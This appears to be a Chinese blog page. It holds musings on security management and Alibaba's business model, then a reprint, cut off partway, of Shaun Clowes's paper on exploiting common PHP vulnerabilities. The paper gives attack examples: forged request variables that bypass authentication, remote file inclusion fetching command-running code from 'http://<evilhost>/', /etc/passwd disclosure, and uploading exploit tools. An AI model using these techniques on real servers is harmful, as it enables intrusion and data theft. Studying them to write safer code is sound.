۰•●持守天真自在，追求卓越自强●•۰

直接所我看傻了，里面这么多的谋略，这么多的东西，是我以前从没想过，或者想过却一直没有找到答案的，真是不错的书

楼上众多的说法，正是我在开篇所要反对的。我没去找"三分技术七分管理"的原文是怎么描述的，但我理解，三分技术七分管理，并不指的是纯技术和纯管理，而是两者的结合，安全的过程，就是对信息资产通过技术进行管理的过程，这里面并不是规章制度，并不完全是安全方针、安全组织、资产管理、人力资源安全、信息安全事故管理、业务连续性管理、符合性，或者纯技术的安全体系，通信和操作管理、访问控制和系统开发生命周期等这些过程，而且对信息资产的有效控制上面

有七分管理这几个字眼，并不是管理就要远远重要于技术，或者技术可做的事情很少。在这上面钻的深，一切就变的虚无飘渺了。有个单位，国内多家著名安全公司给他们做了评估，做了加固，为什么我还可以通过很多方法进入内网？到底怎么样才能解决客户存在问题？你通过这些理论工具和方法论，有把握解决问题吗？

刚才没写完

alibaba独特的思路是什么并不重要，重要的是这样独特的思路是怎么出来的？我认为最关键的在于如何搜集数据，如何处理后输出，所有的功能都是这样实现的，这个过程并不是程序里面独有的，业务模式也是这样。除了数据的流程，还有一个钱的流动过程，金钱在这个数据中是如何受到影响的？alibaba/google现在看来都走了间接的道路。

     暂时没有想到去做网站，趁着年轻，还有许多有趣的东西可做，做网站太没技术含量了，和一帮抢劫的似的，哈哈，再者，网络安全服务做下来虽然收益不高，但有趣啊，让人难以拒绝的诱惑啊

     不过无论是分析alibaba的业务模式，还是想自己的创业之路，需要注意，中国并不缺少想法，但缺少坚持想法的行动，很多都是想想就算了，我能坚持多少年呢？原来的许多好主意，给别人说了，他们就去做了，自己也没有去争取着做一下。昨天和朋友交流，觉的网络安全方向，我这方面技术好，有大量产品，市场需求也非常大，我这儿有许多独到的东西，前途似乎一片美好啊，但实际上，谁知道呢，也许做一段时间才能知道。

     关注马云，关注史玉柱，他们这样的成功，也只能在中国才会出现，现在的机会，仍然非常多，等待我去开发。

每个时段看现在的形势，都似乎感觉遍地的竟争对手，自己可用的东西很少了。
昨天和朋友们聊天的时候，一片悲观。其实，现在看l国外google，yahoo，国内的alibaba淘宝一类的互联网，他们的成功太吓人了，咱暂且不想何时才能达到这样的高度。但现在的互联网其实还有很多机会，大量东西还没有开发，"智能系统"只是处在原始的最初阶段。只所以这样说，是因为当我们抛开功利的眼光，看眼前的这个电子世界的时候，我们会看到，所有google，alibaba的这些模式，都是数据搜集+加点彩的处理+不同的输出形式，数据搜集都是来自于注意力和广众的操作，输出形式就在于需求上变化的页面，加点彩的处理，现在看来alibaba、淘宝都还是比较简单的，后台功能实现并不复杂。为什么他们可以达到这样的成功呢？最早做这方面的，市场上有需求但没有这样的东西，怎么会不成功呢？现在的做b2b的竟争对手这么多，他们肯定也不会停步不前，看alibaba的模式，最主要的是有那么独特的思路。

http://www.securereality.com.au/studyinscarlet.txt
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

A Study In Scarlet
Exploiting Common Vulnerabilities in PHP Applications

Shaun Clowes
SecureReality

"A reprint of reminisces from the Blackhat Briefings Asia 2001"

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

--- < Table of Contents > --------------------------------------------------

1. Introduction
2. Caveats and Scope
3. Global Variables
4. Remote Files
5. File Upload
6. Library Files
7. Session Files
8. Loose Typing And Associative Arrays
9. Target Functions
10. Protecting PHP
11. Responsibility - Language vs Programmer
12. Other

"I could imagine his giving a friend a little pinch of the latest vegetable
alkaloid, not out of malevolence, you understand, but simply out of a spirit
of inquiry in order to have an accurate idea of the effects." - Stamford

--- < 1. Introduction > ----------------------------------------------------

This paper is based on my speech during the Blackhat briefings in Singapore
and Hong Kong in April 2001. The speech was entitled "Breaking In Through
the Front Door - The impact of Web Applications and Application Service
Provision on Traditional Security Models". It initially discussed the trend
towards Web Applications (and ASP) and the holes in traditional security
methodology exposed by this trend. However, that's a long and boring
discussion so I'll save it for the policy makers.

The rest of the speech was spent talking about PHP. For those reading this
paper who don't know what PHP is, PHP stands for "PHP Hypertext
Preprocessor". It's a programming language (designed specifically for the
Web) in which PHP code is embedded in web pages. When a client requests a
page, the Web Server first passes the page to the language interpreter so
the code can be executed, the resulting page is then returned to the client.

Obviously this approach is much more suited to the page by page nature of
web transactions than traditional CGI languages such as Perl and C. PHP (and
to some extent other Web Languages) has the following characteristics:
+ Interpreted
+ Fast Execution - The interpreter is embedded in the web server, no fork()
or setup overhead
+ Feature Rich - Hundreds of non trivial builtin functions
+ Simple Syntax - Non declared and loosely typed variables, 'wordy'
function names

Over the course of this paper I'm going to try to explain why I feel the
last two characteristics make applications written in PHP easy to attack and
hard to defend. Then I'll finish off with a rant about distribution of
'blame' when it comes to software security.

"You must study him, then ... you'll find him a knotty problem, though. I'll
wager he learns more about you than you about him." - Stamford

--- < 2. Caveats and Scope > -----------------------------------------------

Almost all the observations in this paper refer to a default install of PHP
4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL support enabled) running
as a module under Apache 1.3.19 on a Linux machine. This of course means
that your mileage may vary, in particular, there have been many many
versions of PHP and they sometimes exhibit vastly different behaviour given
the same input.

Also, proponents of PHP tend to defend the language based on its extreme
configurability. I feel very confident the vast majority of users will not
modify the default PHP configuration at all, lest some of the amazing array
of freely available PHP software stop working. Thus I don't feel pressured
to defend my position based on configuration options, nonetheless I've
included a section about how to go defending PHP applications using these
configuration options.

Finally, some people deride this kind of work as 'trivial' or 'obvious',
particularly since I won't be discussing any specific vulnerabilities in
particular pieces of PHP software. To prove the risks are real and that even
programmer's that try hard fall into these traps 4 detailed advisories in
regards to specific pieces of vulnerable software will be released shortly
after this paper.

"I have to be careful ... for I dabble with poisons a good deal." - Sherlock
Holmes

--- < 3. Global Variables > ------------------------------------------------

As mentioned earlier, variables in PHP don't have to be declared, they're
automatically created the first time they are used. Nor are they
specifically typed, they're typed automatically based on the context in
which they are used. This is an extremely convenient way to do things from a
programmer's perspective (and is obviously a useful feature in a rapid
application development language). Once a variable is created it can be
referenced anywhere in the program (except in functions where it must be
explicitly included in the namespace with the 'global' function). The result
of these characteristics is that variables are rarely initialized by the
programmer, after all, when they're first created they are empty (i.e "").

Obviously the main function of a PHP based web application is usually to
take in some client input (form variables, uploaded files, cookies etc),
process the input and return output based on that input. In order to make it
as simple as possible for the PHP script to access this input, it's actually
provided in the form of PHP global variables. Take the following example
HTML snippet:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

Obviously this will display a text box and a submit button. When the user
presses the submit button the PHP script test.php will be run to process the
input. When it runs the variable $hello will contain the text the user
entered into the text box. It's important to note the implications of this,
this means that a remote attacker can create any variable they wish and have
it declared in the global namespace. If instead of using the form above to
call test.php, an attacker calls it directly with a url like
"http://server/test.php?hello=hi&setup=no", not only will $hello = "hi" when
the script is run but $setup will be "no" also.

An example of how this can be a real problem might be a script that was
designed to authenticate a user before displaying some important
information. For example:

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

In normal operation the above code will check the password to decide if the
remote user has successfully authenticated then later check if they are
authenticated and show them the important information. The problem is that
the code incorrectly assumes that the variable $auth will be empty unless it
sets it. Remembering that an attacker can create variables in the global
namespace, a url like 'http://server/test.php?auth=1' will fail the password
check but the script will still believe the attacker has successfully
authenticated.

To summarize the above, a PHP script _cannot trust ANY variable it has not
EXPLICITLY set_. When you've got a rather large number of variables, this
can be a much harder task than it may sound.

Once common approach to protecting a script is to check that the variable is
not in the array HTTP_GET/POST_VARS[] (depending on the method normally used
to submit the form, GET or POST). When PHP is configured with track_vars
enabled (as it is by default) variables submitted by the user are available
both from the global variables and also as elements in the arrays mentioned
above. However, it's important to note that there are FOUR different arrays
for remote user input, HTTP_GET_VARS for variables submitted in the URL of
the get request, HTTP_POST_VARS for variables submitted in the post section
of a HTTP request, HTTP_COOKIE_VARS for variables submitted as part of the
cookie headers in the HTTP request and to a limited degree the
HTTP_POST_FILES array (in more recent versions of PHP). It is completely the
end users choice which method they use to submit variables, one request can
easily place variables in all four different arrays, a secure script needs
to check all four (though again, the HTTP_POST_FILES array shouldn't be an
issue except in exceptional circumstances).

"No man burdens his mind with small matters unless he has some very good
reason for doing so." - John Watson

--- < 4. Remote Files > ----------------------------------------------------

I'm going to repeat this frequently during this document but it bears
repeating, PHP is an extremely feature rich language. It ships with an
amazing amount of functionality out of the box and tries hard to make life
as easy as possible for the coder (or web designer as the case so often is).
From a security perspective, the more superfluous functionality offered by a
language and the less intuitive the possibilities, the more difficult it is
to secure applications written in it. An excellent example of this is the
Remote Files functionality of PHP.

The following piece of PHP code is designed to open a file:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

The code attempts to open the file specified in the variable $filename for
reading and if it fails displays an error. Obviously this could be a simple
security issue if the user can set $filename and get the script to expose
/etc/passwd for example but one non intuitive this code could end up doing
is reading data from another web/ftp site. The remote files functionality
means that the majority of PHPs file handling functions can work
transparently on remote files via HTTP and FTP. If $filename were to contain
(for example)
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" PHP will
actually make a HTTP request to the server "target", in this case trying to
exploit the unicode flaw.
This gets more interesting in the context of four other file functions that
support remote file functionality (*** except under Windows ***), include(),
require(), include_once() and require_once(). These functions take in a
filename and read that file and parse it as PHP code. They're typically used
to support the concept of code libraries, where common bits of PHP code are
stored in files and included as needed. Now take the following piece of
code:

<?php
include($libdir . "/languages.php");
?>

Presumably $libdir is a configuration variable that is meant to be set
earlier in script execution to the directory where the library files are
stored. If the attacker can cause the variable not to be set the script
(which is typically not a tremendously difficult task) and instead submit it
themselves they can modify the start of the path. This would normally gain
them nothing since they still end up only being able to access languages.php
in a directory of their choosing (poison null attacks like those possible on
Perl don't work under PHP) but with remote files the attack can submit any
code they wish to be executed. For example, if the attacker places a file on
a web server called languages.php containing the following:

<?php
passthru("/bin/ls /etc");
?>

then sets $libdir to "http://<evilhost>/" upon encountering the include
statement PHP will make a HTTP request to evilhost, retrieve the attackers
code and execute it, returning a listing of /etc to the attackers web
browser. Note that the attacking webserver (evilhost) can't be running PHP
or the code will be run on the attacking machine rather than the target
machine (see the "Other" section and its reference to SRADV00006 for an
example of code which survives being on a PHP enabled attacking machine).

"There are no crimes and no criminals in these days" - Sherlock Holmes

--- < 5. File Upload > -----------------------------------------------------

As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

This form will allow the web browser user to select a file from their local
machine then when they click submit the file will be uploaded to the remote
web server. This is obviously useful functionality but is PHPs response that
makes this dangerous. When PHP first receives the request, before it has
even BEGUN to parse the PHP script being called it will automatically
receive the file from the remote user, it will then check that the file is
no larger than specified in the $MAX_FILE_SIZE variable (10 kb in this case)
and the maximum file size set in the PHP configuration file, if it passes
these tests the file is SAVED on the local disk in a temporary directory.
Please read that again if that doesn't make you blink, a remote user can
send any file they wish to a PHP enabled machine and before a script has
even specified whether or not it accepts file uploads that file is SAVED on
the local disk.

I'm going to ignore any resource exhaustion attacks that may or may not be
possible using file upload functionality, I think they're fairly limited if
not impossible in any case.

First let's consider a script that IS designed to receive file uploads. As
described above the file is received and saved on the local disk (in the
location specified in the configuration for uploaded files, typically /tmp)
with a random filename (e.g "phpxXuoXG"). The PHP script then needs
information regarding the uploaded file to be able to process it. This is
actually provided in two different ways, one has been in use since early
versions of PHP 3, the other was introduced following our Advisory regarding
the issue I'm about to describe with the former method. Suffice to say the
problem is still alive and well, most scripts continue to use the old
method. PHP sets four global variables to describe the uploaded file, for
example (given the upload form above):

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

The PHP script then proceeds to work on the file as located via the $hello
variable. The problem is that it isn't immediately obvious that $hello need
not really be a PHP set variable and can simply be set by a remote attacker.
Take the following form input for example:


http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt

That results in the following global PHP variables (of course POST could be
used (even cookies)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

This form input will provide exactly the variables the PHP scripts expects
to be set by PHP, but instead of working on an uploaded file the script will
infact be working on /etc/passwd (usually resulting in its content being
exposed). This attack can be used to expose the contents of all sorts of
sensitive files (in particular configuration files containing database and
other third tier server credentials).

I noted above that newer versions of PHP provide different methods for
determining the uploaded files (it's done via the HTTP_POST_FILES[] array
mentioned earlier). It also provides numerous functions to avoid this
problem, for example a function to determine if a particular file is
actually one that has been uploaded. These methods well and truly fix the
problem but there is certainly no shortage of scripts out there still using
the old method and still vulnerable to this sort of attack.

As an alternate attack assisted by file upload consider the following
example PHP code:

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no
remote files)
include("$theme");
?>

If the attacker can control $theme they can obviously use this to read any
file on the remote system (except that content inside PHP tags e.g "<?" will
be removed and interpreted probably crashing immediately). While this is a
problem the attackers ultimate goal is obviously to be able to execute
commands on the remote web server and they can't achieve that by getting the
include statement to work on remote files as discussed earlier. They
therefore need to get PHP code they define into a file local to the remote
machine. This sounds like an impossible task initially but file upload comes
to the rescue. If the attacker creates a file on their machine containing
PHP code to be executed (for example the passthru code shown earlier) then
creates a form which contains a file field called "theme" and uses this form
to submit the file to the script via file upload, PHP will be kind enough to
save the file and set $theme to the location of the attackers file on the
local machine. The file_exists() check will then succeed and the code will
be run.

Given command execution ability on the remote webserver the attacker will
obviously wish to attempt privilege escalation attacks or attacks on the
third tier servers, both of which will probably require a toolset not
present on the webserver. The file upload functionality once again makes
this a non issue, the attacker can simply upload the attack tools, have them
saved by PHP then use their code execution ability to chmod() the file and
execute it. For example, they could trivially upload a local root exploit
(through the firewall and past the IDS) and execute it.

"It was easier to know it than to explain why I knew it. If you were asked
to prove that two and two made four, you might find some difficulty, and yet
you are quite sure of the fact" - Sherlock Holmes

--- < 6. Library Files > ---------------------------------------------------

I've mentioned the include() and require() functions earlier, I also said
that they're generally used to support the concept of code libraries. What I
mean by that is that common bits of code are put into a separate file and
when needed in the application simply include()ed from the file. include()
and require() will take any specified filename and read the file and parse
its contents as PHP code.

Initially when people started developing and distributing PHP applications
they chose to distinguish library and main application code by giving
library files the '.inc' extension. However they quickly found this was a
bad move in general since such files aren't normally parsed as PHP code by
the PHP interpreter. If requested from the web server they will generally
have the full source code returned. This is because the PHP interpreter
(when used as an apache module) determines which files to parse for PHP code
based on the file's extension, the extensions to be interpreted can be
chosen by the administrator but usually a combination of the extensions
'.php', '.php4' and '.php3' is chosen. This is a real problem when sensitive
configuration data (e.g database credentials) is placed in PHP files that
don't have an appropriate extension since a remote attacker can easily get
the source.

The simplest solution (and the one that has since become favored) is simply
to give EVERY file a PHP parsed extension. This prevents a request to the
web server ever returning the raw source for a file that contains PHP code.
The problem here is that though the source will no longer be returned, by
requesting the file a remote attacker can have the code that is meant to be
used in a framework of other code executed out of context. This can lead to
all of the attacks I've described earlier.

An obvious example might be the following:

In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";

...

include("$libdir/loadlanguage.php":
?>

In libdir/loadlanguage.php:
<?php
...

include("$langDir/$userLang");
?>

When libdir/loadlanguage.php is called in the defined context of main.php it
is perfectly safe. But because libdir/loadlanguage has the extension .php
(it doesn't have to have that extension, include() works on any file) it can
be requested and executed by a remote attacker. When out of context an
attacker can set $langDir and $userLang to whatever they wish.

"You know a conjuror gets no credit when once he has explained his trick and
if I show you too much of my method of working, you will come to the
conclusion that I am a very ordinary individual after all" - Sherlock Holmes

--- < 7. Session Files > ---------------------------------------------------

Later versions of PHP (4 and above) provide built-in support for 'sessions'.
Their basic purpose is to be able to save state information from page to
page in a PHP application. For example, when a user logs in to a web site,
the fact that they are logged in (and who they are logged in) could be saved
in the session. When they move around the site this information will be
available to all other PHP pages. What actually happens is that when a
session is started (it's typically set in the configuration file to be
automatically started on first request) a random session id is generated,
the session persists as long as the remote browser always submits this
session id with requests. This is most easily achieved with a cookie but can
also be done by achieved by putting a form variable (containing the session
id) on every page. The session is a variable store, a PHP application can
choose to register a particular variable with the session, its value is then
stored in a session file at the end of every PHP script and loaded into the
variable at the start of every script. A trivial example is as follows:

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session
variable
?>

Any later PHP scripts will automatically have the variable $session_auth set
to "shaun", if they modify it later scripts will receive the modified value.
This is obviously a very handy facility to have in a stateless environment
like the web but caution is also necessary.

One obvious problem is with insuring that variables actually come from the
session. For example, given the above code, if a later script does the
following:

<?php
if (!empty($session_auth))
// Grant access to site here
?>

This code makes the assumption that if $session_auth is set, it must have
come from the session and not from remote input. If an attacker specified
$session_auth in form input they can gain access to the site. Note that the
attacker must use this attack before the variable is registered with the
session, once a variable is in a session it will override any form input.

Session data is saved in a file (in a configurable location, usually /tmp)
named 'sess_<session id>'. This file contains the names of the variables in
the session, their loose type, value and other data. On multi host systems
this can be an issue since the files are saved as the user running the web
server (typically nobody), a malicious site owner can easily create a
session file granting themselves access on another site or even examine the
session files looking for sensitive information.

The session mechanism also supplies another convenient place that an
attacker have their input saved into a file on the remote machine. For
examples above where the attacker needed PHP code in a file on the remote
machine, if they cannot use file upload they can often use the application
and have a session variable set to a value of their choosing. They can then
guess the location of the session file, they know the filename 'php<session
id>' they just have to guess the directory, usually /tmp.

Finally an issue I haven't found a use for is that an attacker can specify
any session id they wish (e.g 'hello') and have a session file created with
that id (for the example '/tmp/sess_hello'). The id can only contain
alphanumeric characters but this might well be useful in some situations.

"It is a mistake to confound strangeness with mystery" - Sherlock Holmes

--- < 8. Loose Typing And Associative Arrays > -----------------------------

Just a quick note about these factors.

PHP is a loosely typed language, that is, a variable has different values
depending on the context in which it is being evaluated. For example, the
variable $hello set to the empty string "" when evaluated as a number has
the value 0. This can sometimes lead to non intuitive results (a factor that
was important in the exploitation of phpMyAdmin in SRADV00008). If $hello is
set to "000" it is NOT equal to "0" nor will the function empty() return
true.

PHP arrays are associative, that is, the index to the array is a STRING and
can be set to any string value, it is not numerically evaluated. This means
that the array entry $hello["000"] is NOT the same as the array entry
$hello[0].

Applications need to be careful to validate user input with thought to the
above factors and to do so consistently. I.e don't test is something is
equal to 0 in one place and then validate it using empty() somewhere else.

"We want something more than mere preaching now" - Mr. Gregson

--- < 9. Target Functions > ------------------------------------------------

When looking for holes in PHP applications (when you have the source code)
it's useful to have a list of functions that are frequently misused or are
good targets if they happen to be used in a vulnerable manner in the target
application. If a remote user can affect the parameters to these functions
exploitation is often p